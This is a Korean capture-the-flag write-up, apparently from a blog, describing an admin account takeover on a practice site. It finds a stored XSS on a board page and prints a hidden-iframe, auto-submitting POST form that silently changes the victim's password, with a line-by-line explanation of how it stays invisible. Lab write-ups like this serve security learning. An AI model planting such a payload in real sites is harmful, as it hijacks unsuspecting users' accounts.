
GET Admin1과 똑같이 admin 계정 탈취 문제이다.

bawool 계정 생성 후 로그인


회원정보 수정 가능 확인 패킷을 확인해 보자.

패킷을 확인해 보면 pw parameter로 수정한 비밀번호가 전송되는 걸 볼 수 있다.

GET method로 요청 시 에러가 나오기 때문에 POST method를 사용해서 csrf 공격을 해야 한다. POST method에 csrf 공격을 하기 위해서는 xss 취약점을 찾아야 한다.



게시판 페이지에서 xss 취약점을 찾을 수 있다.
<iframe name="stealthFrame" style="display:none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="myForm" target="stealthFrame">
<input type="hidden" name="pw" value="1234"/>
</form>
<script>
document.getElementById("myForm").submit();
</script>
코드 상세 설명
1️⃣ 숨겨진
<iframe>생성<iframe name="stealthFrame" style="display:none;" sandbox="allow-scripts"></iframe>
- style="display:none;" → 사용자가 이 iframe을 볼 수 없도록 숨김.
- sandbox="allow-scripts" → iframe 내부에서 JavaScript 실행을 허용하지만 팝업창은 생성할 수 없음
2️⃣ 자동 제출할
<form>생성<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="myForm" target="stealthFrame"> <input type="hidden" name="pw" value="1234"/> </form>
- action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" → 해당 URL로 데이터를 전송.
- target="stealthFrame" → 이 요청을 숨겨진 iframe(stealthFrame) 내부에서 실행하도록 지정함.
<input type="hidden" name="pw" value="1234"/>→ 비밀번호(pw=1234) 값을 포함하여 서버에 전송.3️⃣ JavaScript를 이용한 자동 제출
<script> document.getElementById("myForm").submit(); </script>
- JavaScript 코드 실행 시 자동으로
<form>을 제출하여, 사용자가 아무런 조작 없이도 CSRF 공격이 실행되도록 만듦.
사용자가 스크립트가 있는 페이지 접속 시 iframe 페이지와 정보 변경 시 팝업창이 뜰 경우 의심할 수 있기 때문에 위와 같이 사용자 화면에서는 아무런 반응이 없게 코드를 작성해 주었다.


관리자 봇에게 접속 요청

변경시킨 비밀번호 1234로 로그인 시도

로그인 성공 시 flag를 획득할 수 있다!